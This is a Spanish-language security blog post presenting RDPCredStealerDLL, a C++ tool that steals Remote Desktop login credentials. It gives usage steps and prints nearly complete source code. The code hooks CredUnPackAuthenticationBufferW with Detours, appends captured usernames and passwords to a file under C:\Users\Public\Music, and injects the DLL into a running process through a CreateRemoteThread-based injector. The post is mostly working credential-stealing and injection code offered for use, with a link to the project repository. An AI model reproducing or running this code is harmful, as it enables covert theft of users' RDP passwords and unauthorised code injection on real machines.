Robo de credenciales RDP (Escritorio Remoto) con RDPCredStealerDLL

Hoy os traigo una herramienta de S12 (si no lo conoc茅is os recomiendo que ech茅is un vistazo a su Github y Medium). Se trata de RDPCredStealerDLL escrita en C++ para robar credenciales introducidas en el login de una sesi贸n de Escritorio Remoto (RDP) mediante API hooking usando la librer铆a de Detours

Hacerla funcionar es tan sencillo como primero copiar la dll RDPCredsStealer.dll a la ruta C:\Users\Public\Music (tienes el proyecto en el repo, no seas un vago incauto y compilalo tu mismo!)

Abrir la app del Escritorio Remoto:

Ejecutar el binario APIHookInjector:

Y al introducir la contrase帽a ...

... voil脿! la tenemos en C:\Users\Public\Music\RDPCreds.txt

Ahora veamos un poco como funciona su kung-fu echando un vistazo a sus comentarios e indicaciones.

El c贸digo RDPCredStealerDLL tiene como objetivo la funci贸n CredUnPackAuthenticationBufferW de credui.dll que es la responsable de unpackear los buffers de autenticaci贸n. Paso a paso lo que hace es:

1.- Se incluyen los archivos de encabezado necesarios, como windows.h, wincred.h, detours.h y otros.

#include <windows.h>
#include <wincred.h>
#include "pch.h"
#include <detours.h>
#include <fstream>
#include <codecvt>
#include <locale>

2.- Se define un tipo de puntero a funci贸n CredUnPackAuthenticationBufferW_t, que representa la firma de la funci贸n original CredUnPackAuthenticationBufferW.
// Definici贸n del puntero a la funci贸n original
typedef BOOL(WINAPI* CredUnPackAuthenticationBufferW_t)(
    DWORD       dwFlags,
    PVOID       pAuthBuffer,
    DWORD       cbAuthBuffer,
    LPWSTR      pszUserName,
    DWORD* pcchMaxUserName,
    LPWSTR      pszDomainName,
    DWORD* pcchMaxDomainName,
    LPWSTR      pszPassword,
    DWORD* pcchMaxPassword
    );

3.- Se declara el puntero a funci贸n pCredUnPackAuthenticationBufferW, que se usar谩 para almacenar la direcci贸n de la funci贸n original.
// Declaraci贸n de la funci贸n original
CredUnPackAuthenticationBufferW_t pCredUnPackAuthenticationBufferW = NULL;

4.- Se implementa la funci贸n MyCredUnPackAuthenticationBufferW, que sirve como hook para la funci贸n original. Se llama cuando se invoca la funci贸n hookeada. Esta funci贸n primero llama a la funci贸n original usando el puntero a funci贸n almacenado pCredUnPackAuthenticationBufferW. Luego, convierte el nombre de usuario y la contrase帽a recuperados de cadenas anchas (LPWSTR) a cadenas codificadas en UTF-8 (std::string).
BOOL WINAPI MyCredUnPackAuthenticationBufferW(DWORD dwFlags, PVOID pAuthBuffer, DWORD cbAuthBuffer, LPWSTR pszUserName, DWORD* pcchMaxUserName, LPWSTR pszDomainName, DWORD* pcchMaxDomainName, LPWSTR pszPassword, DWORD* pcchMaxPassword)
{
    OutputDebugStringA("MyCredUnPackAuthenticationBufferW Hooked Function");
    // Llamada a la funci贸n original
    BOOL result = pCredUnPackAuthenticationBufferW(
        dwFlags,
        pAuthBuffer,
        cbAuthBuffer,
        pszUserName,
        pcchMaxUserName,
        pszDomainName,
        pcchMaxDomainName,
        pszPassword,
        pcchMaxPassword
    );

    // Convertir pszUserName a std::string
    std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
    std::string username = converter.to_bytes(pszUserName);

    // Convertir pszPassword a std::string
    std::string password = converter.to_bytes(pszPassword);

Finalmente, abre un archivo en modo de anexi贸n y escribe el nombre de usuario y la contrase帽a en 茅l.

    std::ofstream file("C:\\Users\\Public\\Music\\RDPCreds.txt", std::ios_base::app);
    if (file.is_open())
    {
        file << username << ":" << password << std::endl;
        file.close();
    }

    return result;
}

5.- La funci贸n DllMain sirve como punto de entrada para la DLL de hook. Se llama cuando la DLL se carga o descarga. Cuando ul_reason_for_call es DLL_PROCESS_ATTACH, lo que indica que la DLL se est谩 cargando, carga la biblioteca credui.dll utilizando LoadLibraryA.

Luego, obtiene la direcci贸n de la funci贸n original CredUnPackAuthenticationBufferW usando GetProcAddress. Si tiene 茅xito, inicia el proceso de hook llamando a DetourTransactionBegin, DetourUpdateThread y DetourAttach. Cuando ul_reason_for_call es DLL_PROCESS_DETACH, lo que indica que la DLL se est谩 descargando, revierte el proceso de hook llamando a DetourTransactionBegin, DetourUpdateThread y DetourDetach.
// Funci贸n de inicializaci贸n del hook
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        HMODULE hAdvapi32 = LoadLibraryA("credui.dll");
        if (hAdvapi32 != NULL) {
            pCredUnPackAuthenticationBufferW = reinterpret_cast<CredUnPackAuthenticationBufferW_t>(GetProcAddress(hAdvapi32, "CredUnPackAuthenticationBufferW"));
            if (pCredUnPackAuthenticationBufferW != NULL)
            {
                OutputDebugStringA("Installing Hooked Function");
                // Aplica el hook
                DetourTransactionBegin();
                DetourUpdateThread(GetCurrentThread());
                DetourAttach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
                DetourTransactionCommit();
            }
            else {
                OutputDebugStringA("Error");

            }
        }
    }
    else if (ul_reason_for_call == DLL_PROCESS_DETACH)
    {
        // Deshace el hook
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
        DetourTransactionCommit();
    }

    return true;
}

Luego tenemos Inject.h que proporciona funciones para inyectar una DLL en un proceso objetivo en el sistema operativo Windows. Veamos el c贸digo y comprendamos tambi茅n su funcionalidad:

1.- Se incluyen los archivos de encabezado necesarios, como windows.h, stdio.h y tlhelp32.h. Estos encabezados proporcionan las funciones y tipos de datos requeridos para interactuar con la API de Windows.
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <iostream>

using namespace std;

2.- La funci贸n getPIDbyProcName toma un nombre de proceso como entrada y devuelve el ID de proceso correspondiente (PID). Utiliza la funci贸n CreateToolhelp32Snapshot para crear una instant谩nea de los procesos actuales y luego itera a trav茅s de la instant谩nea utilizando las funciones Process32FirstW y Process32NextW para encontrar el proceso con un nombre coincidente. Si se encuentra, devuelve el ID de proceso; de lo contrario, devuelve 0.
int getPIDbyProcName(const wchar_t* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
            if (wcscmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

3.- La funci贸n DLLinjector toma un ID de proceso (pid) y una ruta de DLL como entrada. Inyecta la DLL especificada en el proceso objetivo. As铆 es como funciona:

a. Abre el proceso objetivo utilizando OpenProcess con la flag PROCESS_ALL_ACCESS.
b. Obtiene el identificador del m贸dulo Kernel32 utilizando GetModuleHandleW.
c. Obtiene la direcci贸n de la funci贸n LoadLibraryW dentro de Kernel32 utilizando GetProcAddress.
d. Asigna memoria en el proceso objetivo utilizando VirtualAllocEx.
e. Escribe la ruta de la DLL en la memoria asignada en el proceso objetivo utilizando WriteProcessMemory.
f. Crea un hilo remoto en el proceso objetivo utilizando CreateRemoteThread y pasa la direcci贸n de LoadLibraryW y la memoria asignada como par谩metros.
g. Si la creaci贸n del hilo tiene 茅xito, devuelve true, lo que indica que la inyecci贸n de DLL fue exitosa.

bool DLLinjector(DWORD pid, const wchar_t* dllPath) {
    typedef LPVOID memory_buffer;

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProc == NULL) {
        cout << "OpenProcess() failed: " << GetLastError() << endl;
        return false;
    }

    HMODULE hKernel32 = GetModuleHandleW(L"Kernel32");
    FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryW");
    memory_buffer allocMem = VirtualAllocEx(hProc, NULL, wcslen(dllPath) * sizeof(wchar_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (allocMem == NULL) {
        cout << "VirtualAllocEx() failed: " << GetLastError() << endl;
        return false;
    }
    WriteProcessMemory(hProc, allocMem, dllPath, wcslen(dllPath) * sizeof(wchar_t), NULL);
    HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL);
    if (rThread == NULL) {
        cout << "CreateRemoteThread() failed: " << GetLastError() << endl;
        return false;
    }

    cout << "Code Injected";

    CloseHandle(hProc);
    FreeLibrary(hKernel32);
    VirtualFreeEx(hProc, allocMem, wcslen(dllPath) * sizeof(wchar_t), MEM_RELEASE);
    return true;
}

La funci贸n principal no se proporciona en este fragmento de c贸digo. Puedes usar estas funciones en tu propia aplicaci贸n para inyectar una DLL en un proceso objetivo proporcionando el nombre del proceso y la ruta de la DLL como entrada.

Proyecto: https://github.com/S12cybersecurity/RDPCredentialStealer

Comentarios

  1. Muchas gracias, como creador de la herramienta es incre铆ble verla en un blog como este!

    ResponderEliminar

Publicar un comentario